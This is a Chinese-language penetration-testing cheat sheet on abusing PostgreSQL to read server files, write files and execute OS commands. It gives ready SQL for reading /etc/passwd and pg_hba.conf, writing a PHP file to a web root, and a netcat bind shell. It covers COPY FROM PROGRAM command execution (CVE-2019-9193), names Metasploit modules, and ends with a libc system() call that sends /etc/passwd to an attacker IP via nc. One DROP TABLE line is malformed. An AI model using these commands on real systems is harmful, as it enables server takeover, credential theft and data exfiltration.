PostgreSQL 读写文件及命令执行

读取文件

pg_read_file

select pg_ls_dir('./');
select pg_read_file('PG_VERSION', 0, 200);
SELECT pg_read_file('/usr/local/pgsql/data/pg_hba.conf', 0, 200);

copy

CREATE TABLE temp(t TEXT);
COPY temp FROM '/etc/passwd';
SELECT * FROM temp limit 1 offset 0;
CREATE TABLE mydata(t text);
COPY mydata FROM '/etc/passwd';
SELECT * FROM mydata;
DROP TABLE mytest mytest;

lo_import

SELECT lo_import('/etc/passwd'); -- will create a large object from the file and return the OID
SELECT lo_get(16420); -- use the OID returned from the above
SELECT * from pg_largeobject; -- or just get all the large objects and their data

写入文件

CREATE TABLE mytable (mycol text);
INSERT INTO mytable(mycol) VALUES ('');
COPY mytable (mycol) TO '/var/www/test.php';
CREATE TABLE pentestlab (t TEXT);
INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash');
SELECT * FROM pentestlab;
COPY pentestlab(t) TO '/tmp/pentestlab';

或者作为一行:

COPY (SELECT 'nc -lvvp 2346 -e /bin/bash') TO '/tmp/pentestlab';
SELECT lo_from_bytea(43210, 'your file data goes in here'); -- create a large object with OID 43210 and some data
SELECT lo_put(43210, 20, 'some other data'); -- append data to a large object at offset 20
SELECT lo_export(43210, '/tmp/testexport'); -- export data to /tmp/testexport

命令执行

PROGRAM

DROP TABLE IF EXISTS myoutput;
CREATE TABLE myoutput(filename text);
COPY myoutput FROM PROGRAM 'ps aux';
SELECT * FROM myoutput ORDER BY filename ASC;

CVE-2019-9193:

DROP TABLE IF EXISTS cmd_exec;          -- [Optional] Drop the table you want to use if it already exists
CREATE TABLE cmd_exec(cmd_output text); -- Create the table you want to hold the command output
COPY cmd_exec FROM PROGRAM 'id';        -- Run the system command via the COPY FROM PROGRAM function
SELECT * FROM cmd_exec;                 -- [Optional] View the results
DROP TABLE IF EXISTS cmd_exec;          -- [Optional] Remove the table

可以使用 Metasploit 框架直接利用:

  • multi/postgres/postgres_copy_from_program_cmd_exec
  • exploit/linux/postgres/postgres_payload

libc.so.6:

CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');